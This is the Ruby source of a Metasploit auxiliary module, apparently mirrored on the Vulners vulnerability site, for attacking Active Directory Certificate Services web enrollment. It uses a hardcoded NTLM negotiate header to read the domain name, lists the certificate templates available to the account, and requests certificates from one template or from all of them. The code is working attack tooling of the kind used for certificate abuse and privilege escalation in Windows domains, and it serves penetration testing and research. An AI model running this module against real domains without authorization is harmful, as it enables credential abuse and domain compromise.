##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::WebEnrollment
include Msf::Auxiliary::Scanner
def initialize(_info = {})
super({
'Name' => 'AD/CS Authenticated Web Enrollment Services Module',
'Description' => %q{
Authenticates to the AD/CS Web enrollment service and allows the user to query templates and create
certificates based on available templates.
},
'Author' => [
'bwatters-r7',
'jhicks-r7', # query for available certs
'Spencer McIntyre'
],
'License' => MSF_LICENSE
})
deregister_options('HttpUsername', 'HttpPassword')
register_options([
Opt::RPORT(80),
OptString.new('HttpUsername', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('HttpPassword', [false, 'The HTTP password to specify for authentication', '']),
OptEnum.new('MODE', [ true, 'The issue mode.', 'SPECIFIC_TEMPLATE', %w[ALL QUERY_ONLY SPECIFIC_TEMPLATE]]),
OptString.new('CERT_TEMPLATE', [ false, 'The template to issue if MODE is SPECIFIC_TEMPLATE.' ], conditions: %w[MODE == SPECIFIC_TEMPLATE]),
OptString.new('TARGETURI', [ true, 'The URI for the cert server.', '/certsrv/' ])
])
register_advanced_options([
OptEnum.new('DigestAlgorithm', [ true, 'The digest algorithm to use', 'SHA256', %w[SHA1 SHA256] ])
])
@issued_certs = {}
end
def validate
super
case datastore['MODE']
when 'SPECIFIC_TEMPLATE'
if datastore['CERT_TEMPLATE'].blank?
raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' })
end
when 'ALL', 'QUERY_ONLY'
unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank?
print_warning('CERT_TEMPLATE is ignored in ALL and QUERY_ONLY modes.')
end
end
setup
end
def pull_domain(target_ip, target_uri)
begin
vprint_status("Checking #{target_ip} URL #{target_uri}")
res = send_request_cgi({
'rhost' => target_ip,
'encode' => true,
'username' => nil,
'password' => nil,
'uri' => normalize_uri(target_uri),
'method' => 'GET',
'headers' => { 'Authorization' => 'NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw==' }
})
rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError
vprint_error('Unable to Connect')
return
rescue ::Timeout::Error, ::Errno::EPIPE
vprint_error('Timeout error')
return
end
return nil if res.nil?
unless res && res.code == 401
print_bad("Incorrect status code returned checking for domain: #{res.code}")
return nil
end
unless res['WWW-Authenticate']
print_bad('Target does not appear to support Windows Authentication.')
return nil
end
unless res['WWW-Authenticate'].match(/^NTLM/i)
print_bad('Target does not appear to support NTLM.')
return nil
end
hash = res['WWW-Authenticate'].split('NTLM ')[1]
return nil if hash.nil?
# Parse out the NTLM and get the Target Information Data containing the domain name
begin
message = Net::NTLM::Message.parse(Base64.decode64(hash))
ti = Net::NTLM::TargetInfo.new(message.target_info)
ti.av_pairs[Net::NTLM::TargetInfo::MSV_AV_NB_DOMAIN_NAME]
rescue StandardError => e
vprint_error("Failed to parse NTLM challenge: #{e.class}: #{e}")
nil
end
end
def run_host(target_ip)
validate
queried_domain = pull_domain(target_ip, target_uri)
if queried_domain.nil?
fail_with(Failure::UnexpectedReply, 'Failed to automatically populate DOMAIN; please do so manually and retry')
end
# The queried_domain value is coming is as a UTF-16LE string encoded in ASCII 8-bit.
# We need to normalize it so we can do the string compares later
datastore_domain = datastore['DOMAIN']
queried_domain.force_encoding('UTF-16LE')
queried_domain = queried_domain.encode(datastore_domain.encoding)
# kerberos requires DOMAIN be the FQDN but in other cases check if DOMAIN is set to something other than the NETBIOS
# domain name that was returned from the NTLM handshake which would imply an operator error
if datastore['HTTP::Auth'] != 'kerberos' && datastore['DOMAIN'].present? && datastore['DOMAIN'] != 'WORKSTATION' && queried_domain != datastore_domain
fail_with(Failure::UnexpectedReply, "Server claims to be a member of #{queried_domain} domain and does not match the datastore domain entry #{datastore['DOMAIN']}")
end
connection_identity = queried_domain + '\\' + datastore['HttpUsername']
http_client = connect(
{
'rhost' => target_ip,
'method' => 'GET',
'uri' => normalize_uri(target_uri),
'headers' => {
'Accept-Encoding' => 'identity'
}
}
)
case datastore['MODE']
when 'ALL', 'QUERY_ONLY'
cert_templates = get_cert_templates(http_client)
unless cert_templates.nil? || cert_templates.empty?
print_status('***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***')
print_good("Available Certificates for #{connection_identity} on #{datastore['RHOST']}: #{cert_templates.join(', ')}")
if datastore['MODE'] == 'ALL'
retrieve_certs(http_client, connection_identity, cert_templates)
end
end
when 'SPECIFIC_TEMPLATE'
cert_template = datastore['CERT_TEMPLATE']
retrieve_cert(http_client, connection_identity, cert_template)
end
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation